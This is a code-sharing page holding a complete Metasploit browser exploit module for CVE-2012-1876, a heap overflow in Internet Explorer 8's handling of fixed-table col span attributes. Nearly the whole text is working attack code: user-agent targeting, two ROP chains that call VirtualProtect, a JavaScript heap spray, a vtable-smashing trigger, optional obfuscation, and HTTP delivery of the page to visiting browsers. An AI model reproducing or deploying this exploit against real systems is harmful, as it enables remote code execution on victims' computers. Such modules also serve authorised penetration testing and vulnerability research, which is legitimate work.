扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name=> OperatingSystems::WINDOWS, :ua_minver=> "8.0", :ua_maxver=> "8.0", :rank => NormalRanking, # reliable memory corruption :javascript => true }) def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Internet Explorer Fixed Table Col Span Heap Overflow', 'Description'=> %q{ This module exploits a heap overflow vulnerability in Internet Explorer caused by an incorrect handling of the span attribute for col elements from a fixed table, when they are modified dynamically by javascript code. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Alexandre Pelletier', # Vulnerability analysis 'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module 'binjo', # Metasploit module 'sinn3r',# Help with the Metasploit module 'juan' # Help with the Metasploit module ], 'References' => [ [ 'CVE', '2012-1876' ], [ 'OSVDB', '82866'], [ 'BID', '53848' ], [ 'MSB', 'MS12-037' ], [ 'URL', 'http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> "\x00", }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows 7 SP1', { 'Rop' => :jre } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jun 12 2012', 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[1]#IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ return targets[2]#IE 8 on Windows 7 with JRE else return nil end end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end def get_payload(t) code = payload.encoded # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") exec_size = code.length rop = [ 0x77c4ec01, # retn 0x77c4ec00, # pop ebp; retn 0x77c15ed5, # xchg eax,esp; retn (pivot) 0x77c4e392, # pop eax; retn 0x77c11120, # <- *&VirtualProtect() 0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn junk, 0x77c2dd6c, 0x77c4ec00, # pop ebp; retn 0x77c35459, # ptr to 'push esp; ret' 0x77c47705, # pop ebx; retn exec_size,# ebx 0x77c3ea01, # pop ecx; retn 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) 0x77c46100, # pop edi; retn 0x77c46101, # rop nop (-> edi) 0x77c4d680, # pop edx; retn 0x00000040, # newProtect (0x40) (-> edx) 0x77c4e392, # pop eax; retn nop,# nops (-> eax) 0x77c12df9# pushad; retn ].pack("V*") when :jre print_status("Using JRE ROP") exec_size = code.length rop = [ 0x7c346c0b, # retn 0x7c36f970, # pop ebp; retn 0x7c348b05, # xchg eax,esp; retn (pivot) 0x7c36f970, # pop ebp; retn [MSVCR71.dll] 0x7c36f970, # skip 4 bytes [MSVCR71.dll] 0x7c34373a, # pop ebx ; retn [MSVCR71.dll] exec_size,# ebx 0x7c3444d0, # pop edx ; retn [MSVCR71.dll] 0x00000040, # 0x00000040-> edx 0x7c361829, # pop ecx ; retn [MSVCR71.dll] 0x7c38f036, # &Writable location [MSVCR71.dll] 0x7c342766, # pop edi ; retn [MSVCR71.dll] 0x7c346c0b, # retn (rop nop) [MSVCR71.dll] 0x7c350564, # pop esi ; retn [MSVCR71.dll] 0x7c3415a2, # jmp [eax] [MSVCR71.dll] 0x7c3766ff, # pop eax ; retn [MSVCR71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll] 0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll] 0x7c345c30# ptr to 'push esp; ret ' [MSVCR71.dll] ].pack("V*") end code = rop + code return code end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end js_code =Rex::Text.to_unescape(get_payload(my_target), Rex::Arch.endian(target.arch)) table_builder = '' 0.upto(132) do |i| table_builder << "<table style=\"table-layout:fixed\" ><col id=\"#{i}\" width=\"41\" span=\"9\" >  </col></table>" end # About smash_vtable(): # * smash the vftable 0x07070024 # * span => the amount to overwrite js_element_id = Rex::Text.rand_text_alpha(4) spray_trigger_js = <<-JS var dap = "EEEE"; while ( dap.length < 480 ) dap += dap; var padding = "AAAA"; while ( padding.length < 480 ) padding += padding; var filler = "BBBB"; while ( filler.length < 480 ) filler += filler; var arr = new Array(); var rra = new Array(); var div_container = document.getElementById("#{js_element_id}"); div_container.style.cssText = "display:none"; for (var i=0; i < 500; i+=2) { rra[i] = dap.substring(0, (0x100-6)/2); arr[i] = padding.substring(0, (0x100-6)/2); arr[i+1] = filler.substring(0, (0x100-6)/2); var obj = document.createElement("button"); div_container.appendChild(obj); } for (var i=200; i<500; i+=2 ) { rra[i] = null; CollectGarbage(); } function heap_spray(){ CollectGarbage(); var shellcode = unescape("#{js_code}"); while (shellcode.length < 100000) shellcode = shellcode + shellcode; var onemeg = shellcode.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += shellcode.substr(0, 64*1024/2); } onemeg += shellcode.substr(0, (64*1024/2)-(38/2)); var spray = new Array(); for (i=0; i<400; i++) { spray[i] = onemeg.substr(0, onemeg.length); } } function smash_vtable(){ var obj_col_0 = document.getElementById("132"); obj_col_0.width = "1178993"; obj_col_0.span = "44"; } setTimeout(function(){heap_spray()}, 400); setTimeout(function(){smash_vtable()}, 700); JS if datastore['OBFUSCATE'] spray_trigger_js = ::Rex::Exploitation::JSObfu.new(spray_trigger_js) spray_trigger_js.obfuscate end # build html content = <<-HTML <html> <body> <div id="#{js_element_id}"></div> #{table_builder} <script language='javascript'> #{spray_trigger_js} </script> </body> </html> HTML print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) end end |
体验盒子
